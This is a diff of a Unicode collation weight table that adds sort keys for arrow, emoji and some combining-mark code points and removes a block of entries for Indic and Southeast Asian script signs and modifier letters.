+1F851 ; [*17F0.0020.0002] # UPWARDS SANS-SERIF ARROW
+1F852 ; [*17F1.0020.0002] # RIGHTWARDS SANS-SERIF ARROW
+1F853 ; [*17F2.0020.0002] # DOWNWARDS SANS-SERIF ARROW
+1F854 ; [*17F3.0020.0002] # NORTH WEST SANS-SERIF ARROW
+1F855 ; [*17F4.0020.0002] # NORTH EAST SANS-SERIF ARROW
+1F856 ; [*17F5.0020.0002] # SOUTH EAST SANS-SERIF ARROW
+1F857 ; [*17F6.0020.0002] # SOUTH WEST SANS-SERIF ARROW
+1F858 ; [*17F7.0020.0002] # LEFT RIGHT SANS-SERIF ARROW
+1F859 ; [*17F8.0020.0002] # UP DOWN SANS-SERIF ARROW
+1F860 ; [*17F9.0020.0002] # WIDE-HEADED LEFTWARDS LIGHT BARB ARROW
+1F861 ; [*17FA.0020.0002] # WIDE-HEADED UPWARDS LIGHT BARB ARROW
+1F862 ; [*17FB.0020.0002] # WIDE-HEADED RIGHTWARDS LIGHT BARB ARROW
+1F863 ; [*17FC.0020.0002] # WIDE-HEADED DOWNWARDS LIGHT BARB ARROW
+1F864 ; [*17FD.0020.0002] # WIDE-HEADED NORTH WEST LIGHT BARB ARROW
+1F865 ; [*17FE.0020.0002] # WIDE-HEADED NORTH EAST LIGHT BARB ARROW
+1F866 ; [*17FF.0020.0002] # WIDE-HEADED SOUTH EAST LIGHT BARB ARROW
+1F867 ; [*1800.0020.0002] # WIDE-HEADED SOUTH WEST LIGHT BARB ARROW
+1F868 ; [*1801.0020.0002] # WIDE-HEADED LEFTWARDS BARB ARROW
+1F869 ; [*1802.0020.0002] # WIDE-HEADED UPWARDS BARB ARROW
+1F86A ; [*1803.0020.0002] # WIDE-HEADED RIGHTWARDS BARB ARROW
+1F86B ; [*1804.0020.0002] # WIDE-HEADED DOWNWARDS BARB ARROW
+1F86C ; [*1805.0020.0002] # WIDE-HEADED NORTH WEST BARB ARROW
+1F86D ; [*1806.0020.0002] # WIDE-HEADED NORTH EAST BARB ARROW
+1F86E ; [*1807.0020.0002] # WIDE-HEADED SOUTH EAST BARB ARROW
+1F86F ; [*1808.0020.0002] # WIDE-HEADED SOUTH WEST BARB ARROW
+1F870 ; [*1809.0020.0002] # WIDE-HEADED LEFTWARDS MEDIUM BARB ARROW
+1F871 ; [*180A.0020.0002] # WIDE-HEADED UPWARDS MEDIUM BARB ARROW
+1F872 ; [*180B.0020.0002] # WIDE-HEADED RIGHTWARDS MEDIUM BARB ARROW
+1F873 ; [*180C.0020.0002] # WIDE-HEADED DOWNWARDS MEDIUM BARB ARROW
+1F874 ; [*180D.0020.0002] # WIDE-HEADED NORTH WEST MEDIUM BARB ARROW
+1F875 ; [*180E.0020.0002] # WIDE-HEADED NORTH EAST MEDIUM BARB ARROW
+1F876 ; [*180F.0020.0002] # WIDE-HEADED SOUTH EAST MEDIUM BARB ARROW
+1F877 ; [*1810.0020.0002] # WIDE-HEADED SOUTH WEST MEDIUM BARB ARROW
+1F878 ; [*1811.0020.0002] # WIDE-HEADED LEFTWARDS HEAVY BARB ARROW
+1F879 ; [*1812.0020.0002] # WIDE-HEADED UPWARDS HEAVY BARB ARROW
+1F87A ; [*1813.0020.0002] # WIDE-HEADED RIGHTWARDS HEAVY BARB ARROW
+1F87B ; [*1814.0020.0002] # WIDE-HEADED DOWNWARDS HEAVY BARB ARROW
+1F87C ; [*1815.0020.0002] # WIDE-HEADED NORTH WEST HEAVY BARB ARROW
+1F87D ; [*1816.0020.0002] # WIDE-HEADED NORTH EAST HEAVY BARB ARROW
+1F87E ; [*1817.0020.0002] # WIDE-HEADED SOUTH EAST HEAVY BARB ARROW
+1F87F ; [*1818.0020.0002] # WIDE-HEADED SOUTH WEST HEAVY BARB ARROW
+1F880 ; [*1819.0020.0002] # WIDE-HEADED LEFTWARDS VERY HEAVY BARB ARROW
+1F881 ; [*181A.0020.0002] # WIDE-HEADED UPWARDS VERY HEAVY BARB ARROW
+1F882 ; [*181B.0020.0002] # WIDE-HEADED RIGHTWARDS VERY HEAVY BARB ARROW
+1F883 ; [*181C.0020.0002] # WIDE-HEADED DOWNWARDS VERY HEAVY BARB ARROW
+1F884 ; [*181D.0020.0002] # WIDE-HEADED NORTH WEST VERY HEAVY BARB ARROW
+1F885 ; [*181E.0020.0002] # WIDE-HEADED NORTH EAST VERY HEAVY BARB ARROW
+1F886 ; [*181F.0020.0002] # WIDE-HEADED SOUTH EAST VERY HEAVY BARB ARROW
+1F887 ; [*1820.0020.0002] # WIDE-HEADED SOUTH WEST VERY HEAVY BARB ARROW
+1F890 ; [*1821.0020.0002] # LEFTWARDS TRIANGLE ARROWHEAD
+1F891 ; [*1822.0020.0002] # UPWARDS TRIANGLE ARROWHEAD
+1F892 ; [*1823.0020.0002] # RIGHTWARDS TRIANGLE ARROWHEAD
+1F893 ; [*1824.0020.0002] # DOWNWARDS TRIANGLE ARROWHEAD
+1F894 ; [*1825.0020.0002] # LEFTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
+1F895 ; [*1826.0020.0002] # UPWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
+1F896 ; [*1827.0020.0002] # RIGHTWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
+1F897 ; [*1828.0020.0002] # DOWNWARDS WHITE ARROW WITHIN TRIANGLE ARROWHEAD
+1F898 ; [*1829.0020.0002] # LEFTWARDS ARROW WITH NOTCHED TAIL
+1F899 ; [*182A.0020.0002] # UPWARDS ARROW WITH NOTCHED TAIL
+1F89A ; [*182B.0020.0002] # RIGHTWARDS ARROW WITH NOTCHED TAIL
+1F89B ; [*182C.0020.0002] # DOWNWARDS ARROW WITH NOTCHED TAIL
+1F89C ; [*182D.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE
+1F89D ; [*182E.0020.0002] # HEAVY ARROW SHAFT WIDTH TWO THIRDS
+1F89E ; [*182F.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE HALF
+1F89F ; [*1830.0020.0002] # HEAVY ARROW SHAFT WIDTH ONE THIRD
+1F8A0 ; [*1831.0020.0002] # LEFTWARDS BOTTOM-SHADED WHITE ARROW
+1F8A1 ; [*1832.0020.0002] # RIGHTWARDS BOTTOM SHADED WHITE ARROW
+1F8A2 ; [*1833.0020.0002] # LEFTWARDS TOP SHADED WHITE ARROW
+1F8A3 ; [*1834.0020.0002] # RIGHTWARDS TOP SHADED WHITE ARROW
+1F8A4 ; [*1835.0020.0002] # LEFTWARDS LEFT-SHADED WHITE ARROW
+1F8A5 ; [*1836.0020.0002] # RIGHTWARDS RIGHT-SHADED WHITE ARROW
+1F8A6 ; [*1837.0020.0002] # LEFTWARDS RIGHT-SHADED WHITE ARROW
+1F8A7 ; [*1838.0020.0002] # RIGHTWARDS LEFT-SHADED WHITE ARROW
+1F8A8 ; [*1839.0020.0002] # LEFTWARDS BACK-TILTED SHADOWED WHITE ARROW
+1F8A9 ; [*183A.0020.0002] # RIGHTWARDS BACK-TILTED SHADOWED WHITE ARROW
+1F8AA ; [*183B.0020.0002] # LEFTWARDS FRONT-TILTED SHADOWED WHITE ARROW
+1F8AB ; [*183C.0020.0002] # RIGHTWARDS FRONT-TILTED SHADOWED WHITE ARROW
+1F8AC ; [*183D.0020.0002] # WHITE ARROW SHAFT WIDTH ONE
+1F8AD ; [*183E.0020.0002] # WHITE ARROW SHAFT WIDTH TWO THIRDS
+1F910 ; [*15A9.0020.0002] # ZIPPER-MOUTH FACE
+1F911 ; [*15AA.0020.0002] # MONEY-MOUTH FACE
+1F912 ; [*15AB.0020.0002] # FACE WITH THERMOMETER
+1F913 ; [*15AC.0020.0002] # NERD FACE
+1F914 ; [*15AD.0020.0002] # THINKING FACE
+1F915 ; [*15AE.0020.0002] # FACE WITH HEAD-BANDAGE
+1F916 ; [*15AF.0020.0002] # ROBOT FACE
+1F917 ; [*15B0.0020.0002] # HUGGING FACE
+1F918 ; [*15B1.0020.0002] # SIGN OF THE HORNS
+1F919 ; [*15B2.0020.0002] # CALL ME HAND
+1F91A ; [*15B3.0020.0002] # RAISED BACK OF HAND
+1F91B ; [*15B4.0020.0002] # LEFT-FACING FIST
+1F91C ; [*15B5.0020.0002] # RIGHT-FACING FIST
+1F91D ; [*15B6.0020.0002] # HANDSHAKE
+1F91E ; [*15B7.0020.0002] # HAND WITH INDEX AND MIDDLE FINGERS CROSSED
+1F920 ; [*15B8.0020.0002] # FACE WITH COWBOY HAT
+1F921 ; [*15B9.0020.0002] # CLOWN FACE
+1F922 ; [*15BA.0020.0002] # NAUSEATED FACE
+1F923 ; [*15BB.0020.0002] # ROLLING ON THE FLOOR LAUGHING
+1F924 ; [*15BC.0020.0002] # DROOLING FACE
+1F925 ; [*15BD.0020.0002] # LYING FACE
+1F926 ; [*15BE.0020.0002] # FACE PALM
+1F927 ; [*15BF.0020.0002] # SNEEZING FACE
+1F930 ; [*15C0.0020.0002] # PREGNANT WOMAN
+1F933 ; [*15C1.0020.0002] # SELFIE
+1F934 ; [*15C2.0020.0002] # PRINCE
+1F935 ; [*15C3.0020.0002] # MAN IN TUXEDO
+1F936 ; [*15C4.0020.0002] # MOTHER CHRISTMAS
+1F937 ; [*15C5.0020.0002] # SHRUG
+1F938 ; [*15C6.0020.0002] # PERSON DOING CARTWHEEL
+1F939 ; [*15C7.0020.0002] # JUGGLING
+1F93A ; [*15C8.0020.0002] # FENCER
+1F93B ; [*15C9.0020.0002] # MODERN PENTATHLON
+1F93C ; [*15CA.0020.0002] # WRESTLERS
+1F93D ; [*15CB.0020.0002] # WATER POLO
+1F93E ; [*15CC.0020.0002] # HANDBALL
+1F940 ; [*15CD.0020.0002] # WILTED FLOWER
+1F941 ; [*15CE.0020.0002] # DRUM WITH DRUMSTICKS
+1F942 ; [*15CF.0020.0002] # CLINKING GLASSES
+1F943 ; [*15D0.0020.0002] # TUMBLER GLASS
+1F944 ; [*15D1.0020.0002] # SPOON
+1F945 ; [*15D2.0020.0002] # GOAL NET
+1F946 ; [*15D3.0020.0002] # RIFLE
+1F947 ; [*15D4.0020.0002] # FIRST PLACE MEDAL
+1F948 ; [*15D5.0020.0002] # SECOND PLACE MEDAL
+1F949 ; [*15D6.0020.0002] # THIRD PLACE MEDAL
+1F94A ; [*15D7.0020.0002] # BOXING GLOVE
+1F94B ; [*15D8.0020.0002] # MARTIAL ARTS UNIFORM
+1F950 ; [*15D9.0020.0002] # CROISSANT
+1F951 ; [*15DA.0020.0002] # AVOCADO
+1F952 ; [*15DB.0020.0002] # CUCUMBER
+1F953 ; [*15DC.0020.0002] # BACON
+1F954 ; [*15DD.0020.0002] # POTATO
+1F955 ; [*15DE.0020.0002] # CARROT
+1F956 ; [*15DF.0020.0002] # BAGUETTE BREAD
+1F957 ; [*15E0.0020.0002] # GREEN SALAD
+1F958 ; [*15E1.0020.0002] # SHALLOW PAN OF FOOD
+1F959 ; [*15E2.0020.0002] # STUFFED FLATBREAD
+1F95A ; [*15E3.0020.0002] # EGG
+1F95B ; [*15E4.0020.0002] # GLASS OF MILK
+1F95C ; [*15E5.0020.0002] # PEANUTS
+1F95D ; [*15E6.0020.0002] # KIWIFRUIT
+1F95E ; [*15E7.0020.0002] # PANCAKES
+1F980 ; [*15E8.0020.0002] # CRAB
+1F981 ; [*15E9.0020.0002] # LION FACE
+1F982 ; [*15EA.0020.0002] # SCORPION
+1F983 ; [*15EB.0020.0002] # TURKEY
+1F984 ; [*15EC.0020.0002] # UNICORN FACE
+1F985 ; [*15ED.0020.0002] # EAGLE
+1F986 ; [*15EE.0020.0002] # DUCK
+1F987 ; [*15EF.0020.0002] # BAT
+1F988 ; [*15F0.0020.0002] # SHARK
+1F989 ; [*15F1.0020.0002] # OWL
+1F98A ; [*15F2.0020.0002] # FOX FACE
+1F98B ; [*15F3.0020.0002] # BUTTERFLY
+1F98C ; [*15F4.0020.0002] # DEER
+1F98D ; [*15F5.0020.0002] # GORILLA
+1F98E ; [*15F6.0020.0002] # LIZARD
+1F98F ; [*15F7.0020.0002] # RHINOCEROS
+1F990 ; [*15F8.0020.0002] # SHRIMP
+1F991 ; [*15F9.0020.0002] # SQUID
+1F9C0 ; [*15FA.0020.0002] # CHEESE WEDGE
 0332  ; [.0000.0021.0002] # COMBINING LOW LINE
 0313  ; [.0000.0022.0002] # COMBINING COMMA ABOVE
 0343  ; [.0000.0022.0002] # COMBINING GREEK KORONIS
@@ -7684,6 +7832,7 @@
 1DCE  ; [.0000.0033.0002] # COMBINING OGONEK ABOVE
 1DD1  ; [.0000.0033.0002] # COMBINING UR ABOVE
 1DF5  ; [.0000.0033.0002] # COMBINING UP TACK ABOVE
+1DFB  ; [.0000.0033.0002] # COMBINING DELETION MARK
 1DFE  ; [.0000.0033.0002] # COMBINING LEFT ARROWHEAD ABOVE
 20F0  ; [.0000.0033.0002] # COMBINING ASTERISK ABOVE
 2CEF  ; [.0000.0033.0002] # COPTIC COMBINING NI ABOVE
@@ -7879,6 +8028,7 @@
 FE7C  ; [.0000.0080.001A] # ARABIC SHADDA ISOLATED FORM
 FC63  ; [.0000.0080.001A][.0000.0098.001A] # ARABIC LIGATURE SHADDA WITH SUPERSCRIPT ALEF ISOLATED FORM
 0652  ; [.0000.0081.0002] # ARABIC SUKUN
+1123E ; [.0000.0081.0002] # KHOJKI SIGN SUKUN
 FE7F  ; [.0000.0081.0018] # ARABIC SUKUN MEDIAL FORM
 FE7E  ; [.0000.0081.001A] # ARABIC SUKUN ISOLATED FORM
 0653  ; [.0000.0082.0002] # ARABIC MADDAH ABOVE
@@ -7940,20642 +8090,21112 @@
 16AF2 ; [.0000.00BA.0002] # BASSA VAH COMBINING MID TONE
 16AF3 ; [.0000.00BB.0002] # BASSA VAH COMBINING LOW-MID TONE
 16AF4 ; [.0000.00BC.0002] # BASSA VAH COMBINING HIGH-LOW TONE
-093C  ; [.0000.00BD.0002] # DEVANAGARI SIGN NUKTA
-09BC  ; [.0000.00BD.0002] # BENGALI SIGN NUKTA
-0A3C  ; [.0000.00BD.0002] # GURMUKHI SIGN NUKTA
-0ABC  ; [.0000.00BD.0002] # GUJARATI SIGN NUKTA
-0B3C  ; [.0000.00BD.0002] # ORIYA SIGN NUKTA
-0CBC  ; [.0000.00BD.0002] # KANNADA SIGN NUKTA
-1B34  ; [.0000.00BD.0002] # BALINESE SIGN REREKAN
-1BE6  ; [.0000.00BD.0002] # BATAK SIGN TOMPI
-1C37  ; [.0000.00BD.0002] # LEPCHA SIGN NUKTA
-A9B3  ; [.0000.00BD.0002] # JAVANESE SIGN CECAK TELU
-110BA ; [.0000.00BD.0002] # KAITHI SIGN NUKTA
-11173 ; [.0000.00BD.0002] # MAHAJANI SIGN NUKTA
-111CA ; [.0000.00BD.0002] # SHARADA SIGN NUKTA
-11236 ; [.0000.00BD.0002] # KHOJKI SIGN NUKTA
-112E9 ; [.0000.00BD.0002] # KHUDAWADI SIGN NUKTA
-1133C ; [.0000.00BD.0002] # GRANTHA SIGN NUKTA
-114C3 ; [.0000.00BD.0002] # TIRHUTA SIGN NUKTA
-115C0 ; [.0000.00BD.0002] # SIDDHAM SIGN NUKTA
-116B7 ; [.0000.00BD.0002] # TAKRI SIGN NUKTA
-0900  ; [.0000.00BE.0002] # DEVANAGARI SIGN INVERTED CANDRABINDU
-0901  ; [.0000.00BE.0002] # DEVANAGARI SIGN CANDRABINDU
-0981  ; [.0000.00BE.0002] # BENGALI SIGN CANDRABINDU
-0A01  ; [.0000.00BE.0002] # GURMUKHI SIGN ADAK BINDI
-0A81  ; [.0000.00BE.0002] # GUJARATI SIGN CANDRABINDU
-0B01  ; [.0000.00BE.0002] # ORIYA SIGN CANDRABINDU
-0C00  ; [.0000.00BE.0002] # TELUGU SIGN COMBINING CANDRABINDU ABOVE
-0C01  ; [.0000.00BE.0002] # TELUGU SIGN CANDRABINDU
-0C81  ; [.0000.00BE.0002] # KANNADA SIGN CANDRABINDU
-0D01  ; [.0000.00BE.0002] # MALAYALAM SIGN CANDRABINDU
-1B00  ; [.0000.00BE.0002] # BALINESE SIGN ULU RICEM
-1B01  ; [.0000.00BE.0002] # BALINESE SIGN ULU CANDRA
-A980  ; [.0000.00BE.0002] # JAVANESE SIGN PANYANGGA
-11000 ; [.0000.00BE.0002] # BRAHMI SIGN CANDRABINDU
-11080 ; [.0000.00BE.0002] # KAITHI SIGN CANDRABINDU
-11100 ; [.0000.00BE.0002] # CHAKMA SIGN CANDRABINDU
-11180 ; [.0000.00BE.0002] # SHARADA SIGN CANDRABINDU
-11301 ; [.0000.00BE.0002] # GRANTHA SIGN CANDRABINDU
-114BF ; [.0000.00BE.0002] # TIRHUTA SIGN CANDRABINDU
-115BC ; [.0000.00BE.0002] # SIDDHAM SIGN CANDRABINDU
-11640 ; [.0000.00BE.0002] # MODI SIGN ARDHACANDRA
-0902  ; [.0000.00BF.0002] # DEVANAGARI SIGN ANUSVARA
-0982  ; [.0000.00BF.0002] # BENGALI SIGN ANUSVARA
-0A02  ; [.0000.00BF.0002] # GURMUKHI SIGN BINDI
-0A82  ; [.0000.00BF.0002] # GUJARATI SIGN ANUSVARA
-0B02  ; [.0000.00BF.0002] # ORIYA SIGN ANUSVARA
-0B82  ; [.0000.00BF.0002] # TAMIL SIGN ANUSVARA
-0C02  ; [.0000.00BF.0002] # TELUGU SIGN ANUSVARA
-0C82  ; [.0000.00BF.0002] # KANNADA SIGN ANUSVARA
-0D02  ; [.0000.00BF.0002] # MALAYALAM SIGN ANUSVARA
-0D82  ; [.0000.00BF.0002] # SINHALA SIGN ANUSVARAYA
-0F7E  ; [.0000.00BF.0002] # TIBETAN SIGN RJES SU NGA RO
-1036  ; [.0000.00BF.0002] # MYANMAR SIGN ANUSVARA
-17C6  ; [.0000.00BF.0002] # KHMER SIGN NIKAHIT
-1A74  ; [.0000.00BF.0002] # TAI THAM SIGN MAI KANG
-1B02  ; [.0000.00BF.0002] # BALINESE SIGN CECEK
-1B80  ; [.0000.00BF.0002] # SUNDANESE SIGN PANYECEK
-1CED  ; [.0000.00BF.0002] # VEDIC SIGN TIRYAK
-A80B  ; [.0000.00BF.0002] # SYLOTI NAGRI SIGN ANUSVARA
-A880  ; [.0000.00BF.0002] # SAURASHTRA SIGN ANUSVARA
-A981  ; [.0000.00BF.0002] # JAVANESE SIGN CECAK
-10A0E ; [.0000.00BF.0002] # KHAROSHTHI SIGN ANUSVARA
-11001 ; [.0000.00BF.0002] # BRAHMI SIGN ANUSVARA
-11081 ; [.0000.00BF.0002] # KAITHI SIGN ANUSVARA
-11101 ; [.0000.00BF.0002] # CHAKMA SIGN ANUSVARA
-11181 ; [.0000.00BF.0002] # SHARADA SIGN ANUSVARA
-11234 ; [.0000.00BF.0002] # KHOJKI SIGN ANUSVARA
-112DF ; [.0000.00BF.0002] # KHUDAWADI SIGN ANUSVARA
-11300 ; [.0000.00BF.0002] # GRANTHA SIGN COMBINING ANUSVARA ABOVE
-11302 ; [.0000.00BF.0002] # GRANTHA SIGN ANUSVARA
-114C0 ; [.0000.00BF.0002] # TIRHUTA SIGN ANUSVARA
-115BD ; [.0000.00BF.0002] # SIDDHAM SIGN ANUSVARA
-1163D ; [.0000.00BF.0002] # MODI SIGN ANUSVARA
-116AB ; [.0000.00BF.0002] # TAKRI SIGN ANUSVARA
-0903  ; [.0000.00C0.0002] # DEVANAGARI SIGN VISARGA
-0983  ; [.0000.00C0.0002] # BENGALI SIGN VISARGA
-0A03  ; [.0000.00C0.0002] # GURMUKHI SIGN VISARGA
-0A83  ; [.0000.00C0.0002] # GUJARATI SIGN VISARGA
-0B03  ; [.0000.00C0.0002] # ORIYA SIGN VISARGA
-0C03  ; [.0000.00C0.0002] # TELUGU SIGN VISARGA
-0C83  ; [.0000.00C0.0002] # KANNADA SIGN VISARGA
-0D03  ; [.0000.00C0.0002] # MALAYALAM SIGN VISARGA
-0D83  ; [.0000.00C0.0002] # SINHALA SIGN VISARGAYA
-0F7F  ; [.0000.00C0.0002] # TIBETAN SIGN RNAM BCAD
-1038  ; [.0000.00C0.0002] # MYANMAR SIGN VISARGA
-17C7  ; [.0000.00C0.0002] # KHMER SIGN REAHMUK
-1B04  ; [.0000.00C0.0002] # BALINESE SIGN BISAH
-1B82  ; [.0000.00C0.0002] # SUNDANESE SIGN PANGWISAD
-1CF2  ; [.0000.00C0.0002] # VEDIC SIGN ARDHAVISARGA
-1CF3  ; [.0000.00C0.0002] # VEDIC SIGN ROTATED ARDHAVISARGA
-A881  ; [.0000.00C0.0002] # SAURASHTRA SIGN VISARGA
-A983  ; [.0000.00C0.0002] # JAVANESE SIGN WIGNYAN
-10A0F ; [.0000.00C0.0002] # KHAROSHTHI SIGN VISARGA
-11002 ; [.0000.00C0.0002] # BRAHMI SIGN VISARGA
-11082 ; [.0000.00C0.0002] # KAITHI SIGN VISARGA
-11102 ; [.0000.00C0.0002] # CHAKMA SIGN VISARGA
-11182 ; [.0000.00C0.0002] # SHARADA SIGN VISARGA
-11303 ; [.0000.00C0.0002] # GRANTHA SIGN VISARGA
-114C1 ; [.0000.00C0.0002] # TIRHUTA SIGN VISARGA
-115BE ; [.0000.00C0.0002] # SIDDHAM SIGN VISARGA
-1163E ; [.0000.00C0.0002] # MODI SIGN VISARGA
-116AC ; [.0000.00C0.0002] # TAKRI SIGN VISARGA
-0A70  ; [.0000.00C1.0002] # GURMUKHI TIPPI
-0A71  ; [.0000.00C2.0002] # GURMUKHI ADDAK
-1B03  ; [.0000.00C3.0002] # BALINESE SIGN SURANG
-A982  ; [.0000.00C4.0002] # JAVANESE SIGN LAYAR
-1B81  ; [.0000.00C5.0002] # SUNDANESE SIGN PANGLAYAR
-ABEC  ; [.0000.00C6.0002] # MEETEI MAYEK LUM IYEK
-10A38 ; [.0000.00C7.0002] # KHAROSHTHI SIGN BAR ABOVE
-10A39 ; [.0000.00C8.0002] # KHAROSHTHI SIGN CAUDA
-10A3A ; [.0000.00C9.0002] # KHAROSHTHI SIGN DOT BELOW
-111CB ; [.0000.00CA.0002] # SHARADA VOWEL MODIFIER MARK
-111CC ; [.0000.00CB.0002] # SHARADA EXTRA SHORT VOWEL MARK
-0E4E  ; [.0000.00CC.0002] # THAI CHARACTER YAMAKKAN
-0E47  ; [.0000.00CD.0002] # THAI CHARACTER MAITAIKHU
-0E48  ; [.0000.00CE.0002] # THAI CHARACTER MAI EK
-0E49  ; [.0000.00CF.0002] # THAI CHARACTER MAI THO
-0E4A  ; [.0000.00D0.0002] # THAI CHARACTER MAI TRI
-0E4B  ; [.0000.00D1.0002] # THAI CHARACTER MAI CHATTAWA
-0E4C  ; [.0000.00D2.0002] # THAI CHARACTER THANTHAKHAT
-0E4D  ; [.0000.00D3.0002] # THAI CHARACTER NIKHAHIT
-0EC8  ; [.0000.00D4.0002] # LAO TONE MAI EK
-0EC9  ; [.0000.00D5.0002] # LAO TONE MAI THO
-0ECA  ; [.0000.00D6.0002] # LAO TONE MAI TI
-0ECB  ; [.0000.00D7.0002] # LAO TONE MAI CATAWA
-0ECC  ; [.0000.00D8.0002] # LAO CANCELLATION MARK
-0ECD  ; [.0000.00D9.0002] # LAO NIGGAHITA
-AABF  ; [.0000.00DA.0002] # TAI VIET TONE MAI EK
-AAC1  ; [.0000.00DB.0002] # TAI VIET TONE MAI THO
-0F39  ; [.0000.00DC.0002] # TIBETAN MARK TSA -PHRU
-A92B  ; [.0000.00DD.0002] # KAYAH LI TONE PLOPHU
-A92C  ; [.0000.00DE.0002] # KAYAH LI TONE CALYA
-A92D  ; [.0000.00DF.0002] # KAYAH LI TONE CALYA PLOPHU
-1037  ; [.0000.00E0.0002] # MYANMAR SIGN DOT BELOW
-17C8  ; [.0000.00E1.0002] # KHMER SIGN YUUKALEAPINTU
-17C9  ; [.0000.00E2.0002] # KHMER SIGN MUUSIKATOAN
-17CA  ; [.0000.00E3.0002] # KHMER SIGN TRIISAP
-1A75  ; [.0000.00E4.0002] # TAI THAM SIGN TONE-1
-1A76  ; [.0000.00E5.0002] # TAI THAM SIGN TONE-2
-1A77  ; [.0000.00E6.0002] # TAI THAM SIGN KHUEN TONE-3
-1A78  ; [.0000.00E7.0002] # TAI THAM SIGN KHUEN TONE-4
-1A79  ; [.0000.00E8.0002] # TAI THAM SIGN KHUEN TONE-5
-1A7A  ; [.0000.00E9.0002] # TAI THAM SIGN RA HAAM
-1A7B  ; [.0000.00EA.0002] # TAI THAM SIGN MAI SAM
-1A7C  ; [.0000.00EB.0002] # TAI THAM SIGN KHUEN-LUE KARAN
-1939  ; [.0000.00EC.0002] # LIMBU SIGN MUKPHRENG
-193A  ; [.0000.00ED.0002] # LIMBU SIGN KEMPHRENG
-193B  ; [.0000.00EE.0002] # LIMBU SIGN SA-I
-16B30 ; [.0000.00EF.0002] # PAHAWH HMONG MARK CIM TUB
-16B31 ; [.0000.00F0.0002] # PAHAWH HMONG MARK CIM SO
-16B32 ; [.0000.00F1.0002] # PAHAWH HMONG MARK CIM KES
-16B33 ; [.0000.00F2.0002] # PAHAWH HMONG MARK CIM KHAV
-16B34 ; [.0000.00F3.0002] # PAHAWH HMONG MARK CIM SUAM
-16B35 ; [.0000.00F4.0002] # PAHAWH HMONG MARK CIM HOM
-16B36 ; [.0000.00F5.0002] # PAHAWH HMONG MARK CIM TAUM
-302A  ; [.0000.00F6.0002] # IDEOGRAPHIC LEVEL TONE MARK
-302B  ; [.0000.00F7.0002] # IDEOGRAPHIC RISING TONE MARK
-302C  ; [.0000.00F8.0002] # IDEOGRAPHIC DEPARTING TONE MARK
-302D  ; [.0000.00F9.0002] # IDEOGRAPHIC ENTERING TONE MARK
-302E  ; [.0000.00FA.0002] # HANGUL SINGLE DOT TONE MARK
-302F  ; [.0000.00FB.0002] # HANGUL DOUBLE DOT TONE MARK
-20D0  ; [.0000.00FC.0002] # COMBINING LEFT HARPOON ABOVE
-20D1  ; [.0000.00FD.0002] # COMBINING RIGHT HARPOON ABOVE
-20D2  ; [.0000.00FE.0002] # COMBINING LONG VERTICAL LINE OVERLAY
-20D3  ; [.0000.00FE.0002] # COMBINING SHORT VERTICAL LINE OVERLAY
-20D4  ; [.0000.00FF.0002] # COMBINING ANTICLOCKWISE ARROW ABOVE
-20D5  ; [.0000.0100.0002] # COMBINING CLOCKWISE ARROW ABOVE
-20D6  ; [.0000.0101.0002] # COMBINING LEFT ARROW ABOVE
-20D7  ; [.0000.0102.0002] # COMBINING RIGHT ARROW ABOVE
-20DB  ; [.0000.0103.0002] # COMBINING THREE DOTS ABOVE
-20DC  ; [.0000.0104.0002] # COMBINING FOUR DOTS ABOVE
-20E1  ; [.0000.0105.0002] # COMBINING LEFT RIGHT ARROW ABOVE
-20E6  ; [.0000.0106.0002] # COMBINING DOUBLE VERTICAL STROKE OVERLAY
-20E7  ; [.0000.0107.0002] # COMBINING ANNUITY SYMBOL
-20E8  ; [.0000.0108.0002] # COMBINING TRIPLE UNDERDOT
-20E9  ; [.0000.0109.0002] # COMBINING WIDE BRIDGE ABOVE
-101FD ; [.0000.010A.0002] # PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE
-02D0  ; [.1B74.0020.0002] # MODIFIER LETTER TRIANGULAR COLON
-02D1  ; [.1B75.0020.0002] # MODIFIER LETTER HALF TRIANGULAR COLON
-0971  ; [.1B76.0020.0002] # DEVANAGARI SIGN HIGH SPACING DOT
-0E46  ; [.1B77.0020.0002] # THAI CHARACTER MAIYAMOK
-0EC6  ; [.1B78.0020.0002] # LAO KO LA
-17D7  ; [.1B79.0020.0002] # KHMER SIGN LEK TOO
-1AA7  ; [.1B7A.0020.0002] # TAI THAM SIGN MAI YAMOK
-A9CF  ; [.1B7B.0020.0002] # JAVANESE PANGRANGKEP
-A9E6  ; [.1B7C.0020.0002] # MYANMAR MODIFIER LETTER SHAN REDUPLICATION
-AA70  ; [.1B7D.0020.0002] # MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION
-AADD  ; [.1B7E.0020.0002] # TAI VIET SYMBOL SAM
-AAF3  ; [.1B7F.0020.0002] # MEETEI MAYEK SYLLABLE REPETITION MARK
-AAF4  ; [.1B80.0020.0002] # MEETEI MAYEK WORD REPETITION MARK
-16B42 ; [.1B81.0020.0002] # PAHAWH HMONG SIGN VOS NRUA
-16B43 ; [.1B82.0020.0002] # PAHAWH HMONG SIGN IB YAM
-3005  ; [.1B83.0020.0002] # IDEOGRAPHIC ITERATION MARK
-303B  ; [.1B84.0020.0002] # VERTICAL IDEOGRAPHIC ITERATION MARK
-3031  ; [.1B85.0020.0002] # VERTICAL KANA REPEAT MARK
-3032  ; [.1B85.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK
-3033  ; [.1B86.0020.0002] # VERTICAL KANA REPEAT MARK UPPER HALF
-3034  ; [.1B86.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF
-3035  ; [.1B87.0020.0002] # VERTICAL KANA REPEAT MARK LOWER HALF
-309D  ; [.1B88.0020.0002] # HIRAGANA ITERATION MARK
-309E  ; [.1B88.0020.0002][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK
-30FC  ; [.1B89.0020.0002] # KATAKANA-HIRAGANA PROLONGED SOUND MARK
-FF70  ; [.1B89.0020.0012] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
-30FD  ; [.1B8A.0020.0002] # KATAKANA ITERATION MARK
-30FE  ; [.1B8A.0020.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK
-00A4  ; [.1B8B.0020.0002] # CURRENCY SIGN
-00A2  ; [.1B8C.0020.0002] # CENT SIGN
-FFE0  ; [.1B8C.0020.0003] # FULLWIDTH CENT SIGN
